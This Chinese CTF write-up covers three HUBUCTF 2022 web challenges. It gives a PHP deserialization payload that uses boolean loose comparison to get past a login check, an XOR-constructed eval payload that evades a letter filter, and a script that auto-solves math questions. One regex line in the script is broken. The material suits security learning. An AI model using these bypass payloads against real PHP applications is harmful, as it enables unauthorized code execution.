• [HUBUCTF 2022 新生赛]


    checkin


    1. show_source(__FILE__);
    2. $username = "this_is_secret";
    3. $password = "this_is_not_known_to_you";
    4. include("flag.php");//here I changed those two
    5. $info = isset($_GET['info'])? $_GET['info']: "" ;
    6. $data_unserialize = unserialize($info);
    7. if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    8. echo $flag;
    9. }else{
    10. echo "username or password error!";
    11. }

            先对代码进行审计,发现isset( )是我们没见过的用法,可以去了解一下。

    isset() 函数用于检测变量是否已设置并且非 NULL。

    以上是基本用途,而本题中用到的是php的三元运算符

    $id = isset($_GET['id']) ? $_GET['id'] : '';

    (条件) ? (值1):(值2);

    解释:如果条件成立(为真),则执行冒号前边的“值1”,否则执行冒号后面的“值2”。

    isset()函数是检测变量是否设置,$_GET['id']是通过get方法传过来的值。
    这句话的意思就是:如果$_GET['id']已经被设置,即已经有值了,则$id=$_GET['id'];
    如果$_GET['id']没有被设置,则$id = '';

            继续向下看,发现unserialize 就可以知道和反序列化有关了。

    exp:

    1. $info = array(
    2. 'username'=>true,
    3. 'password'=>true
    4. );
    5. $serialized_data = serialize($info);
    6. echo $serialized_data . PHP_EOL;
    7. ?>

            得到payload

    ?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}
    

            这里卡在exp怎么写,后来详细了解了一下序列化和反序列化以后,再结合上面的isset( ),知道了username和password要用boolen类型,才写了出来。

    HowToGetShell


    1. show_source(__FILE__);
    2. $mess=$_POST['mess'];
    3. if(preg_match("/[a-zA-Z]/",$mess)){
    4. die("invalid input!");
    5. }
    6. eval($mess);

            这道题一眼可以看到preg_match( )函数 ,对于/a-zA-Z/这个正则表达式,我们可以利用PHP动态函数的特性,构造出字符串。

    1. valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
    2. answer = "phpinfo"
    3. tmp1,tmp2 = '',''
    4. for c in answer:
    5. for i in valid:
    6. for j in valid:
    7. if (ord(i)^ord(j) == ord(c)):
    8. tmp1 += i
    9. tmp2 += j
    10. break
    11. else:
    12. continue
    13. break
    14. print(tmp1,tmp2)

    payload

    mess=$_="0302181"^"@[@[_^^";$_();

    参考链接

    Calculate


    题目是想让我们做数学题,而且要速度介于1-3s之间,回答20个问题即可给出flag。但是我对这道题目无从下手,exp也不会写就去找了大佬的

     

    1. # -*- coding: utf-8 -*-
    2. import time
    3. import requests
    4. import re
    5. url = 'http://1.14.71.254:28110/'
    6. ses = requests.session()
    7. reg = re.compile(">(.))
    8. while True:
    9. get = ses.get(url)
    10. math = reg.findall(get.text)
    11. final = ''.join(math)[:-1]
    12. result = str(eval(final))
    13. print(result)
    14. time.sleep(1)
    15. post = ses.post(url=url, data={"ans": result})
    16. if 'NSS' in post.text:
    17. print(post.text)
    18. break
    19. time.sleep(1)

    最后也是得到了flag。

  • 相关阅读:
    高效并发:Synchornized的锁优化详解
    window 如何使用命令行运行.exe文件?
    对于视频处理方法的初步研究以及第一印象
    get_started_3dsctf_2016
    kafka基本架构以及参数调优
    基于java+springboot+mybatis+vue+elementui的零食销售商城网站
    【unity插件】Shader实现UGUI的特效——UIEffect为 Unity UI 提供视觉效果组件
    TikTok体育精彩瞬间:全球体育迷的天堂
    50.Python-web框架-Django中引入静态的bootstrap样式
    Visual Studio Code写C/C++代码(真的是C和C++!!)
  • 原文地址:https://blog.csdn.net/zhhhb1005/article/details/127035837